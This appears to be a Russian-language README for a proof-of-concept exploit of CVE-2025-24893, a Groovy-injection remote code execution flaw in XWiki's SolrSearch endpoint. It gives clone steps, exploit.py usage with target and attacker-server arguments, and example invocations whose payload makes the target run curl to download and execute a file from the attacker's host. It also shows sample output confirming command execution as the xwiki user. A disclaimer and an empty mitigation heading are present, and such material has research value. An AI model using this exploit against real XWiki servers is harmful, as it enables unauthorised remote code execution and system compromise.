
PoC для CVE-2025-24893
Этот репозиторий содержит Proof of Concept (PoC) эксплойт для уязвимости удаленного выполнения кода (RCE) в XWiki, идентифицированной как CVE-2025-24893. Уязвимость позволяет злоумышленнику выполнить произвольный код на целевой системе XWiki путем отправки специально сформированного запроса к конечной точке SolrSearch. Скрипт поддерживает как HTTP, так и HTTPS цели.
⚠️ Отказ от ответственности: Данный PoC предназначен только для образовательных и исследовательских целей. Несанкционированное использование этого кода против систем без явного разрешения незаконно и неэтично. Всегда получайте надлежащее разрешение перед тестированием любой системы.
Уязвимость возникает из-за неправильной обработки пользовательского ввода в конечной точке SolrSearch, что позволяет внедрить Groovy-код через специально созданную полезную нагрузку. Данный PoC демонстрирует, как злоумышленник может использовать это для выполнения произвольных команд на целевом сервере.
requests, argparse, urllib.parse, re, htmlgit clone https://github.com/570RMBR3AK3R/xwiki-cve-2025-24893-poc.git
pip install requests
Скрипт отправляет специально сформированный HTTP/HTTPS-запрос к целевой системе XWiki, внедряя полезную нагрузку Groovy, которая выполняет команду curl для загрузки и запуска файла с сервера атакующего.
Запустите скрипт следующей командой:
python3 exploit.py --url <target_url> --server <attacker_server> --file <malicious_file> [--no-verify]
--url: Базовый URL целевой системы XWiki (например, http://target или https://target).--server: IP-адрес или имя хоста сервера атакующего, включая порт, если необходимо (например, 192.168.1.100:8080). Поддерживает как HTTP, так и HTTPS.--file: Имя файла на сервере атакующего, содержащего код для выполнения (например, exploit.sh).--no-verify: Необязательный флаг для отключения проверки SSL для HTTPS-целей (используйте с осторожностью, только для тестирования).python3 exploit.py --url http(s)://vulnerable-xwiki.com --server http(s)://192.168.1.100:8080 --file exploit.sh
Для обхода проверки SSL (например, для самоподписанных сертификатов):
python3 exploit.py --url https://vulnerable-xwiki.com --server http(s)://192.168.1.100:8080 --file exploit.sh --no-verify
Это приведет к:
curl.exploit.sh) с сервера атакующего (http(s)://192.168.1.100:8080).Скрипт извлекает ответ от цели, удаляет HTML-теги (например, <br/>, <del>) и преобразует HTML-сущности в обычный текст для удобочитаемости. Очищенный вывод выводится на консоль.
python3 exploit.py --url http://<redacted> --server http://<redacted>:8080 --file exploit.sh
uid=997(xwiki) gid=997(xwiki) groups=997(xwiki)
Для защиты от этой уязвимости:
Этот проект лицензирован по лицензии MIT. Подробнее см. в файле LICENSE.